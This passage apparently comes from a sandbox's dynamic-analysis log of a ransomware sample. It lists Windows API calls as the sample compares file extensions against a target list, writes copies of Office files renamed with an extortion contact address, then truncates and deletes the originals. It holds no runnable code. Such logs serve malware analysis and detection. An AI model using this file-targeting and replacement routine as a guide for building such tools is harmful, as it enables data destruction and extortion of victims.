(lpString1=".docx", lpString2="n.avi") returned -1 [0116.850] lstrlenW (lpString=".pdf") returned 4 [0116.850] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".xls") returned 4 [0116.850] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".xlsx") returned 5 [0116.850] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0116.850] lstrlenW (lpString=".ppt") returned 4 [0116.850] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".zip") returned 4 [0116.850] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".rar") returned 4 [0116.850] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".bz2") returned 4 [0116.850] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".7z") returned 3 [0116.850] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".dbf") returned 4 [0116.851] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.851] lstrlenW (lpString=".1cd") returned 4 [0116.851] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.851] lstrlenW (lpString=".jpg") returned 4 [0116.851] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.851] lstrcmpiW (lpString1=".avi", lpString2=".gdb") returned -1 [0116.851] lstrlenW (lpString="boxed-split.avi") returned 15 [0116.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.851] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=62976) returned 1 [0116.851] CloseHandle (hObject=0x19c) returned 1 [0116.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0116.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0116.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0116.851] lstrlenW (lpString=".doc") returned 4 [0116.851] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.851] lstrlenW (lpString=".docx") returned 5 [0116.851] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0116.852] lstrlenW (lpString=".pdf") returned 4 [0116.852] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString=".xls") returned 4 [0116.852] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString=".xlsx") returned 5 [0116.852] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0116.852] lstrlenW (lpString=".ppt") returned 4 [0116.852] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0116.852] lstrlenW (lpString=".zip") returned 4 [0116.852] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString=".rar") returned 4 [0116.852] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString=".bz2") returned 4 [0116.852] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.852] lstrlenW (lpString=".7z") returned 3 [0116.852] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0116.852] lstrlenW (lpString=".dbf") returned 4 [0116.852] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0118.087] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0118.087] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0118.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0118.475] GetLastError () returned 0x0 [0118.475] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x8f8, lpOverlapped=0x0) returned 1 [0118.636] WriteFile (in: hFile=0x1f4, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x900, lpOverlapped=0x0) returned 1 [0119.304] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0119.304] WriteFile (in: hFile=0x1f4, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0119.304] SetEndOfFile (hFile=0x1f4) returned 1 [0119.305] CloseHandle (hObject=0x1f4) returned 1 [0119.306] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.306] SetEndOfFile (hFile=0x1d4) returned 1 [0119.306] CloseHandle (hObject=0x1d4) returned 1 [0119.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.307] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0119.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.307] lstrlenW (lpString=".doc") returned 4 [0119.307] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString=".docx") returned 5 [0119.307] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0119.307] lstrlenW (lpString=".pdf") returned 4 [0119.307] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString=".xls") returned 4 [0119.307] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString=".xlsx") returned 5 [0119.307] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0119.307] lstrlenW (lpString=".ppt") returned 4 [0119.307] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.307] lstrlenW (lpString=".zip") returned 4 [0119.307] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.307] lstrlenW (lpString=".rar") returned 4 [0119.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString=".bz2") returned 4 [0119.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.307] lstrlenW (lpString=".7z") returned 3 [0119.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.307] lstrlenW (lpString=".dbf") returned 4 [0119.308] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".1cd") returned 4 [0119.308] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".jpg") returned 4 [0119.308] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".doc") returned 4 [0119.308] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString=".docx") returned 5 [0119.308] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0119.308] lstrlenW (lpString=".pdf") returned 4 [0119.308] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString=".xls") returned 4 [0119.308] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString=".xlsx") returned 5 [0119.308] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0119.308] lstrlenW (lpString=".ppt") returned 4 [0119.308] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".zip") returned 4 [0119.308] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.308] lstrlenW (lpString=".rar") returned 4 [0119.308] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString=".bz2") returned 4 [0119.308] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString=".7z") returned 3 [0119.308] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".dbf") returned 4 [0119.308] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".1cd") returned 4 [0119.308] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0119.308] lstrlenW (lpString=".jpg") returned 4 [0119.308] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.309] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0119.309] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0119.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.783] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=819) returned 1 [0119.783] CloseHandle (hObject=0x1c4) returned 1 [0119.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0119.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0119.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.783] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.783] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0119.783] GetLastError () returned 0x0 [0119.784] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x333, lpOverlapped=0x0) returned 1 [0119.785] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x340, lpOverlapped=0x0) returned 1 [0119.786] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0119.786] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf4, lpOverlapped=0x0) returned 1 [0119.786] SetEndOfFile (hFile=0x1f8) returned 1 [0119.786] CloseHandle (hObject=0x1f8) returned 1 [0119.787] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.787] SetEndOfFile (hFile=0x1c4) returned 1 [0119.788] CloseHandle (hObject=0x1c4) returned 1 [0119.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.789] lstrlenW (lpString=".doc") returned 4 [0119.789] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString=".docx") returned 5 [0119.789] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0119.789] lstrlenW (lpString=".pdf") returned 4 [0119.789] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString=".xls") returned 4 [0119.789] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString=".xlsx") returned 5 [0119.789] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0119.789] lstrlenW (lpString=".ppt") returned 4 [0119.789] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.789] lstrlenW (lpString=".zip") returned 4 [0119.789] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.789] lstrlenW (lpString=".rar") returned 4 [0119.789] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString=".bz2") returned 4 [0119.789] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString=".7z") returned 3 [0119.789] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.789] lstrlenW (lpString=".dbf") returned 4 [0119.789] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.789] lstrlenW (lpString=".1cd") returned 4 [0119.789] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString=".jpg") returned 4 [0119.790] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString=".doc") returned 4 [0119.790] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString=".docx") returned 5 [0119.790] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0119.790] lstrlenW (lpString=".pdf") returned 4 [0119.790] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString=".xls") returned 4 [0119.790] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString=".xlsx") returned 5 [0119.790] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0119.790] lstrlenW (lpString=".ppt") returned 4 [0119.790] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString=".zip") returned 4 [0119.790] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.790] lstrlenW (lpString=".rar") returned 4 [0119.790] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString=".bz2") returned 4 [0119.790] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString=".7z") returned 3 [0119.790] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString=".dbf") returned 4 [0119.790] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.790] lstrlenW (lpString=".1cd") returned 4 [0119.790] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0119.791] lstrlenW (lpString=".jpg") returned 4 [0119.791] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.791] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0119.791] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0119.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.792] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=37689) returned 1 [0119.792] CloseHandle (hObject=0x1c4) returned 1 [0119.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0119.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0119.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.792] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.792] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0119.794] GetLastError () returned 0x0 [0119.794] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x9339, lpOverlapped=0x0) returned 1 [0119.798] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x9340, lpOverlapped=0x0) returned 1 [0119.799] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0119.799] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0119.799] SetEndOfFile (hFile=0x1f8) returned 1 [0119.800] CloseHandle (hObject=0x1f8) returned 1 [0119.801] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.801] SetEndOfFile (hFile=0x1c4) returned 1 [0119.802] CloseHandle (hObject=0x1c4) returned 1 [0119.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 